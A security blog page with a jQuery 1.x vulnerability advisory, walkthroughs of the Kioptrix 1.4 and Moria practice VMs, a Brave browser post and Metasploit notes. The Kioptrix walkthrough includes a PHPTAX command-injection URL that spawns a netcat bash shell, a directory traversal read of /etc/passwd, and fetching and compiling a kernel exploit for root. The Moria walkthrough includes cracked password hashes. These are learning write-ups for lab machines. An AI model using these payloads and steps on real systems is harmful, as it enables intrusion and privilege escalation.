Speaking at Drupal Camp Asheville

I will be doing a talk on Drupal and Security at this year’s Drupal Camp Asheville. I will cover some security best practices for Drupal developers, how to avoid certain Drupal-specific security gotchas, some lessons learned in keeping Drupal sites secure, and some handy tidbits you can use to prevent the bad people from ruining things.

The times for the various speaker sessions haven’t been announced yet, but stay tuned. I hope to see you all there!


A jQuery 1.x vulnerability exists and no fix is planned

I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.

While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:

“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

Remediation: Upgrade jquery to version 3.0.0 or higher.”

“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:


So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.

While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.

The longer jQuery 1.x sits in your project, the higher a risk it becomes.

As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”

Long story short: Keep your bundled libraries up to date!

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!


netdiscover turned up as the IP for this target VM.

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.


Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories


Turned up index.html (nothing new) and cgi-bin. Blah.


Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:


Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.


This will start a netcat reverse shell by injecting the command via the URL:;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:


touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:


Compile that sucker:

gcc 26368.c

Then run it:



And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!

Moria: A Boot2Root VM Walkthrough

Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.

While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.

Getting Started

My setup:

  • MacBook running MacOS (Sierra)
  • VMWare Fusion running:
  • Kali Linux (latest)
  • Moria VM

Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.



This tool revealed the IP of this machine on my network:


I used nmap -v -sS -A -T4
and nmap –sS –sV -O

21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X

So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting in a web browser. Here’s what I got:

The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:

From http://tolkiengateway.net/wiki/Doors_of_Durin:

“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors,[5] but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.[1]”

Good info that might come in handy later 😉


Running dirb led to the discovery of a directory at It contained a link to /h/, and so on. Traversing down the links led to:

The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.

At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.


Trying to connect via FTP turned up some interesting info:

220 Welcome Balrog!

Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.

Revisiting the website

Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:

Knock Knock
Is this the end?
Too loud!
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
Oin:”Stop knocking!”
“Eru! Save us!”

A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.


Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.

Using the login combo of Balrog / Mellon I got this:


Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:

Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /

I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.

I went to /var/www/html and found a directory that dirb would never have discovered:

Viewing that page in my web browser showed a handy table of what appeared to be hashes:


I set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.

hash-identifier said they were likely MD5 hashes:

Without a salt I wasn’t sure how I’d use that information.

I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at

Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!

At the bottom of the source code I found what appeared to be the salts:


So I had the salts for those MD5 hashes, and I had what looked like the format for using them:



This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.

Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:


I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:

http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.

Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:

dynamic_6 | md5(md5($p).$s)

I next tried that on the hashes.txt file:

root@kali:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
magic (Telchar)
abcdef (Dain)
spanky (Ori)
fuckoff (Maeglin)
flower (Balin)
rainbow (Oin)
darkness (Thrain)
hunter2 (Fundin)


I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.

Bash Shell Obtained

Got a Bash shell with Ori’s login via SSH:


-bash-4.2$ ls -al
total 8
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh

Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.

It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?

root Obtained – All That is Gold Does Not Glitter

Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!


Just In Time, the Brave Browser Becomes My Default

Last night I saw a respected security professional I follow on Twitter mention the Brave web browser, and how good he thought the mobile version is. Brave was started by the Mozilla Project co-founder Brandon Eich, and is based on Chromium, the open-source base that Google Chrome is constructed upon.

Today, I caught wind that Chrome is soon going to prevent you from doing things such as disabling its DRM management feature called Widevine. The problem with this is summarized here:

…a single browser may now require two different DRM plugins to play all DRM content. These plugins have their own security issues, but unlike with the Flash vulnerabilities, security researchers are banned from looking for them, due to Section 1201 of the Digital Millennium Copyright Act (DMCA). That means malicious hackers, who already engage in other criminal activities, may freely take advantage of all the vulnerabilities they find in these DRM plugins before companies discover them on their own.

In short, because of the closed nature of the DMCA, we end users are at risk unnecessarily, and we will soon have no ability to disable this plugin should we wish to do so.

Enter The Brave

Brave offers a browser that works on all platforms (Windows, Mac, Linux) and on mobile. It blocks ads by default, blocks malware, and is lean and fast. Putting user privacy and security at the forefront, along with speed, this thing is a powerhouse as it forces https on websites and prevents malware-serving advertisement networks from invading your workspace.

But the difference is the paradigm shift in supporting advertisers, as opposed to simply blocking them out completely:

Brave intends to keep 15% of ad revenue for itself, pay content publishers 55%, ad partners 15% and also give 15% to the browser users, who can in turn donate to bloggers and other providers of web content through micropayments.

I have yet to figure out how or if that will work, exactly, and it doesn’t seem to be fully impemented in the browser yet, but it seems like a great way to solve the elephant-in-the-room problem the Internet faces today: how to earn money and keep users safe at the same time, so that they don’t need to run ad blockers and anti-tracking plugins?

Stay tuned for more info as I learn it, and as I figure out Brave.

Quick Metasploit Guide

metasploit photoThese are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.

Use Kali Linux for all the following instructions.

Ensure postgresql is running.

Set postgres to start on boot so you don’t have to worry about it again:

From the command line, fire up the Metasploit console:

Search for exploits related to what you are interested in:

Or, be more specific:

Or, in Kali, use searchsploit (from regular command line, outside of MSF):

Once you find an exploit you want to use, use it:

Then set a payload:

See what options are set:

Set options as needed:

LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)

RHOST is the IP of the victim

Default port is 80, but choose one if you wish:

Run the exploit:

If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:

Photos by Christiaan008,